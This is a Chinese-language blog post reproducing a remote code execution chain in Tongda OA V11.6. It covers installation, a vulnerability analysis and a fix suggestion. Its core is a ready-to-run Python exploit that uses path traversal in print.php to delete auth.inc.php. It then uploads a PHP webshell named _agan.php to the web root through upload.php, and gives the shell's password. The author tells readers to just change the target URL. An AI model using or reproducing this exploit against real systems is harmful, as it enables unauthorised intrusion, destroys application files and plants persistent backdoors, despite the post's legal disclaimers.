当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
PS:该漏洞影响很大,如果被成功利用后会删除OA所需要的php文件来绕过验证,会对网站造成影响,建议渗透测试业务时,千万要让客户做系统备份或数据备份,很容易出事... ...
请勿用作犯罪使用,网络不是法外之地,请珍惜生命,勿触犯法律... ...
你任何的动作,别人都知晓,人外有人,天外有天,且行且珍惜... ...
0x01 通达OA V11.6 源码下载与安装
0x02 前言
0x03 复现漏洞
EXP 脚本
0x04 通达OA V11.5和V11.7 版本无法复现该漏洞过程
0x05 漏洞分析
本次漏洞复现,只测试了三个版本:
通达 OA V11.7 (最新)
通达 OA V11.6
通达 OA V11.5
修复建议:升级至最新版本
自己公司或去客户现场做测试的话,可以让客户去 webroot\inc 下将auth.inc.php备份一下,等利用成功GetShell 后,再将该文件放进去
2017版本的也可以被利用(版本自测),2019版本的都不行,2020版的,我测试V11.6可以复现解密 auth.inc.php 出来的代码
zend54 解密
如果结构没有大变动的话,应该都是可以GetShell成功后,将复制的备份文件丢进去。
通达OA V11.6 下载地址:http://www.kxdw.com/soft/23114.html
步骤1:运行安装包傻瓜式安装
步骤2:运行安装包傻瓜式安装
步骤3:运行安装包傻瓜式安装
步骤4:成功安装
账号为:admin 密码为:空
EXP:直接打,直接写到网站根目录下,文件名为:_agan.php,菜刀链接密码为:agan
import requests
target="http://192.168.159.137:8080/"
payload=""
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[-]Failed to deleted auth.inc.php")
exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('agan.php', payload)}
requests.post(url=url,files=files)
url=target+"/_agan.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[+]Filed Uploaded Successfully")
print("[+]URL:",url)
else:
print("[-]Failed to upload file")
直接利用上述代码即可,改一下你的URL地址即可
成功利用
可以看到成功写入,先访问这个目录看看,是真实存在的
链接地址:http://192.168.159.137:8080/_agan.php
再去服务端看看网站源码,是否也存在?
明显是存在的,也写进去了
成功连接
此时虽然拿到WebShell后,但OA 的文件已损坏,再次登录是这样的,猜测是通过删除auth.inc.php文件来写入WebShell,导致引用的样式文件损坏
用之前的脚本再试试
V11.5和V11.7 服务端网站根目录下没写进去,看来没利用成功。
webroot/inc/auth.inc.php 解密一下文件
解密网址:https://dezend.qiling.org/free
/module/appbuilder/assets/print.php文件 (未授权访问导致产生文件删除漏洞)
这里可以看到 页面获取 guid参数的值
使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件
exp中访问/general/data_center/utils/upload.php文件上传
调用action=upload上传文件
传入不存在的filetype 进入漏洞点
根据exp构造了上传文件名和内容 {‘FILE1’: (‘z1feiyu.php’, payload)}
同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
也就是说在这里构造访问上传后
file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件
总体的根据exp分析 首先存在了任意文件删除漏洞
然后删除登陆校验文件,进而导致任意文件上传漏洞
组合之后也就是现在的rce漏洞
参考链接:
https://mp.weixin.qq.com/s/5ObQlLc3XQY3oXXHJKieyA
https://mp.weixin.qq.com/s/cr4Iqq3RfxnOzTqZWzGSAQ
虽然我们生活在阴沟里,但依然有人仰望星空!